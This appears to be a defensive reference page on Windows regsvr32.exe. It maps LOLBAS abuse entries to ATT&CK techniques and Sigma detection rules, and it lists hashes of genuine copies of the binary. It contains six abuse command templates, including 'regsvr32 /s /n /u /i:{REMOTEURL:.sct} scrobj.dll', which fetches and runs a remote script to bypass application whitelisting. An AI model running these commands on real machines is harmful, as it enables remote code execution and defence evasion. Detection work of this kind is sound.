Ceplin Command Identifier

Identifier / Programs / Windows

regsvr32.exe

Registers .dll files as command components in the registry. Windows commands reference

LOLBAS AWL Bypass, Execute 59 Sigma rules name it 3 ATT&CK techniques 6 documented commands 12 known copies with hashes

How regsvr32.exe is abused

documented by LOLBAS

AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32

/sPrevents displaying messages. Windows commands reference

/nPrevents calling DllRegisterServer. Windows commands reference

/uUnregisters server. Windows commands reference

/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands reference

AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32

/sPrevents displaying messages. Windows commands reference

/uUnregisters server. Windows commands reference

/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands reference

Execute T1218.010 System Binary Proxy Execution: Regsvr32

/sPrevents displaying messages. Windows commands reference

/nPrevents calling DllRegisterServer. Windows commands reference

/uUnregisters server. Windows commands reference

/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands reference

Execute T1218.010 System Binary Proxy Execution: Regsvr32

/sPrevents displaying messages. Windows commands reference

/uUnregisters server. Windows commands reference

/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands reference

Execute T1218.010 System Binary Proxy Execution: Regsvr32

/sPrevents displaying messages. Windows commands reference

Execute T1218.010 System Binary Proxy Execution: Regsvr32

/uUnregisters server. Windows commands reference

/sPrevents displaying messages. Windows commands reference

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for regsvr32.exe.

6 documented commands

from LOLBAS, each read by the identifier

AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute the specified remote .SCT script with scrobj.dll.

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Trips 1 Sigma rule: mediumPotentially Suspicious Regsvr32 HTTP/FTP Pattern by Florian Roth (Nextron Systems)

AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute the specified local .SCT script with scrobj.dll.

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Trips 1 Sigma rule: mediumPotential Regsvr32 Commandline Flag Anomaly by Florian Roth (Nextron Systems)

Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute the specified remote .SCT script with scrobj.dll.

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Trips 1 Sigma rule: mediumPotentially Suspicious Regsvr32 HTTP/FTP Pattern by Florian Roth (Nextron Systems)

Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute the specified local .SCT script with scrobj.dll.

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Trips 1 Sigma rule: mediumPotential Regsvr32 Commandline Flag Anomaly by Florian Roth (Nextron Systems)

Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute code in a DLL. The code must be inside the exported function DllRegisterServer.

regsvr32.exe /s {PATH:.dll}

Trips no Sigma process-creation rule.

Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges

Execute code in a DLL. The code must be inside the exported function DllUnRegisterServer.

regsvr32.exe /u /s {PATH:.dll}

Trips no Sigma process-creation rule.

4 of the 6 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for regsvr32.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for regsvr32.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highQakbot Regsvr32 Calc PatternNasreddine Bencherchali (Nextron Systems)

highPotentially Suspicious Regsvr32 HTTP IP PatternFlorian Roth (Nextron Systems)

highSuspicious Regsvr32 Execution From Remote ShareNasreddine Bencherchali (Nextron Systems)

highRegsvr32 Execution From Highly Suspicious LocationNasreddine Bencherchali (Nextron Systems)

highRegsvr32 DLL Execution With Suspicious File ExtensionFlorian Roth (Nextron Systems), frack113

mediumRegsvr32.EXE Calling of DllRegisterServer Export Function ImplicitlyAndreas Braathen (mnemonic.io), Nasreddine Bencherchali (Nextron Systems)

mediumPotential Regsvr32 Commandline Flag AnomalyFlorian Roth (Nextron Systems)

mediumPotentially Suspicious Regsvr32 HTTP/FTP PatternFlorian Roth (Nextron Systems)

mediumRegsvr32 Execution From Potential Suspicious LocationFlorian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

mediumScripting/CommandLine Process Spawned Regsvr32Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

mediumRegsvr32 DLL Execution With Uncommon ExtensionFlorian Roth (Nextron Systems)

criticalPotential Dridex ActivityFlorian Roth (Nextron Systems), oscd.community, Nasreddine Bencherchali (Nextron Systems)

criticalSticky Key Like Backdoor ExecutionFlorian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community

highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)

highRaspberry Robin Subsequent Execution of Commands@kostastsale

highPotential Suspicious Child Process Of 3CXDesktopAppNasreddine Bencherchali (Nextron Systems)

highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)

highPotential Notepad++ CVE-2025-49144 ExploitationSwachchhanda Shrawan Poudel (Nextron Systems)

highWindows Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali

highSuspicious ArcSOC.exe Child ProcessMicah Babinski

highSuspicious BitLocker Access Agent Update Utility Executionandrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)

highPotentially Suspicious Child Processes Spawned by ConHostSwachchhanda Shrawan Poudel (Nextron Systems)

highHTML Help HH.EXE Suspicious Child ProcessMaxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)

highSuspicious Shells Spawn by Java Utility KeytoolAndreas Hunkeler (@Karneades)

highSuspicious Processes Spawned by Java.EXEAndreas Hunkeler (@Karneades), Florian Roth

highMMC Spawning Windows ShellKarneades, Swisscom CSIRT

highSuspicious MSHTA Child ProcessMichael Haag

highSuspicious Child Process Of SQL ServerFPT.EagleEye Team, wagga

highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)

highSuspicious Outlook Child ProcessMichael Haag, Florian Roth (Nextron Systems), Markus Neis, Elastic, FPT.EagleEye Team

And 29 more rules that name regsvr32.exe.

T1218System Binary Proxy Execution

T1218.010System Binary Proxy Execution: Regsvr32

T1574Hijack Execution Flow

Is it the real regsvr32.exe?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

DescriptionMicrosoft(C) Register Server

12 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\regsvr32.exe · signed by Microsoft Windows

dab97346901ae36ddc4553255da518c4128efd426613cbb66b242daba210c97b

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\regsvr32.exe · signed by Microsoft Windows

efd5df81a12ca00d70e7eff61311d6c097d2455f6edc0c224288e85b27437202

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows

022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows

31aee70f9705f6578c6b41849ea3b5a948a446f494f24befcf5b169a1c2a71d2

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\regsvr32.exe · signed by Microsoft Windows

8ffc7f80efbf746e49f37ea3d140f042cf71ef20b4da2a8f02688e79295da11d

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\regsvr32.exe · signed by Microsoft Windows

f80b4224c670e76e05a70cc5403818b11c7a4ca10542a1f9b5d935e4fca08579

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows

e0e722a00c127e0425d2078e738b7a684c9f55a9bf521c67e9a40d796c8be0e9

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows

f098fa150d9199732b4ec2e81528a951503a30f75afebf7e7a48360301758c67

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows

00a1cf85c6ab96df38a4023f0cee4df60f62280768fc9c06a235e6d2d644169d

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows

f72ed4d11c9971a9b7ce0a5681ee35968a6b4ccdc2f2b3a9f3e81418605fa467

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\regsvr32.exe · not signed

7eadc73f8aa77148ca289d5ce5c2632f3a157d313079583454c0421bb97d5646

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\regsvr32.exe · not signed

d248a3ebda8faa54907ef86a9cf4ef3ab9a99a284ec36be410a20fda5f856c77

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Options

5 in Windows commands reference

Show every option of regsvr32.exe

/uUnregisters server.

/sPrevents displaying messages.

/nPrevents calling DllRegisterServer.

/iPasses an optional command-line string (*cmdline*) to DllInstall.

/?Displays help at the command prompt.